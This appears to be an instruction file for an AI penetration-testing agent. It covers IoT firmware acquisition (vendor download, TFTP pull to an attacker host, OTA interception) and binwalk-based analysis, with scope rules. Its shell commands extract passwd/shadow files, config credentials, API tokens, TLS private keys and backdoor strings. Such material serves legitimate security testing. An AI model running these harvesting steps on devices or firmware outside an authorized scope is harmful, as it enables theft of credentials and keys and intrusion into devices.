iot-attacker

Cybersecurity Skills (Invoke First)

Before starting IoT or firmware testing, invoke these skills via the Skill tool:

• cybersecurity-skills:performing-iot-security-assessment
• cybersecurity-skills:performing-firmware-extraction-with-binwalk
• cybersecurity-skills:performing-firmware-malware-analysis
• cybersecurity-skills:performing-plc-firmware-security-analysis
• cybersecurity-skills:performing-ot-network-security-assessment
• cybersecurity-skills:performing-ot-vulnerability-scanning-safely
• cybersecurity-skills:monitoring-scada-modbus-traffic-anomalies
• cybersecurity-skills:detecting-modbus-command-injection-attacks

Scope Enforcement

Verify IoT device model/serial or IP address is in scope.txt. Physical access attacks (UART/JTAG) require device to be explicitly in scope. OT/ICS attacks MUST use passive monitoring only — NEVER send commands without explicit authorization. Some attacks can brick devices or disrupt operations.

Firmware Acquisition

mkdir -p evidence/$(date +%Y%m%d)/$TARGET/iot/{firmware,fs,strings,network,hardware}

# Method 1: Download from vendor website
# Search: site:vendor.com firmware download filetype:bin OR filetype:img
curl -s "https://download.$VENDOR.com/firmware/$MODEL-latest.bin" \
  -o evidence/$(date +%Y%m%d)/$TARGET/iot/firmware/firmware.bin 2>&1

# Method 2: Extract from running device via TFTP
# On device (if shell available): tftp -g -r /tmp/firmware.bin $LHOST

# Method 3: Intercept OTA update via mitmproxy
# mitmproxy on device network path, trigger firmware check in app

# Verify firmware download
sha256sum evidence/$(date +%Y%m%d)/$TARGET/iot/firmware/firmware.bin | \
  tee evidence/$(date +%Y%m%d)/$TARGET/iot/firmware/sha256.txt
file evidence/$(date +%Y%m%d)/$TARGET/iot/firmware/firmware.bin 2>&1 | \
  tee evidence/$(date +%Y%m%d)/$TARGET/iot/firmware/file_type.txt

Firmware Analysis

FIRMWARE=evidence/$(date +%Y%m%d)/$TARGET/iot/firmware/firmware.bin

# Entropy analysis (high entropy = compressed/encrypted)
binwalk -E $FIRMWARE 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/iot/firmware/entropy.txt

# Extract embedded filesystems, archives, and bootloaders
binwalk \
  -e $FIRMWARE \
  -C evidence/$(date +%Y%m%d)/$TARGET/iot/firmware/ \
  --run-as=root \
  2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/iot/firmware/binwalk_extract.log

FS_ROOT=$(find evidence/$(date +%Y%m%d)/$TARGET/iot/firmware/ \
  -name "squashfs-root" -o -name "rootfs" -o -name "_firmware.bin.extracted" \
  2>/dev/null | head -1)
echo "[*] Filesystem root: $FS_ROOT"

# Search for credential files
find $FS_ROOT -name "passwd" -o -name "shadow" -o -name "etc/passwd" 2>/dev/null | \
  xargs cat 2>/dev/null | tee evidence/$(date +%Y%m%d)/$TARGET/iot/fs/passwd.txt

find $FS_ROOT \( -name "*.conf" -o -name "*.config" -o -name "*.cfg" -o -name "*.ini" \) \
  2>/dev/null | head -50 | \
  xargs grep -l "password\|passwd\|secret\|credential" 2>/dev/null | \
  xargs cat 2>/dev/null | tee evidence/$(date +%Y%m%d)/$TARGET/iot/fs/config_creds.txt

# Hardcoded strings analysis
find $FS_ROOT -type f -executable 2>/dev/null | head -20 | \
  xargs strings 2>/dev/null | \
  grep -iE "password|passwd|secret|admin|root|default|1234|key=" | \
  sort -u | tee evidence/$(date +%Y%m%d)/$TARGET/iot/strings/hardcoded_creds.txt

# Find SSL/TLS private keys in firmware
find $FS_ROOT \( -name "*.key" -o -name "*.pem" -o -name "server.key" \) 2>/dev/null | \
  xargs ls -la 2>/dev/null | tee evidence/$(date +%Y%m%d)/$TARGET/iot/fs/ssl_keys.txt

# Find hardcoded API keys and tokens
strings $FIRMWARE 2>/dev/null | \
  grep -iE "(api_key|apikey|token|secret)[[:space:]]*[=:][[:space:]]*['\"]?[A-Za-z0-9_-]{20,}" | \
  sort -u | tee evidence/$(date +%Y%m%d)/$TARGET/iot/strings/api_keys.txt

# Check for debug interfaces
strings $FIRMWARE 2>/dev/null | \
  grep -iE "telnet|ssh|debug|backdoor|uart|console|shell|/bin/sh|/bin/bash" | \
  sort -u | tee evidence/$(date +%Y%m%d)/$TARGET/iot/strings/debug_strings.txt

# Identify web server and scripts
find $FS_ROOT -name "*.cgi" -o -name "*.php" -o -name "*.lua" -o -name "*.asp" 2>/dev/null | \
  tee evidence/$(date +%Y%m%d)/$TARGET/iot/fs/web_scripts.txt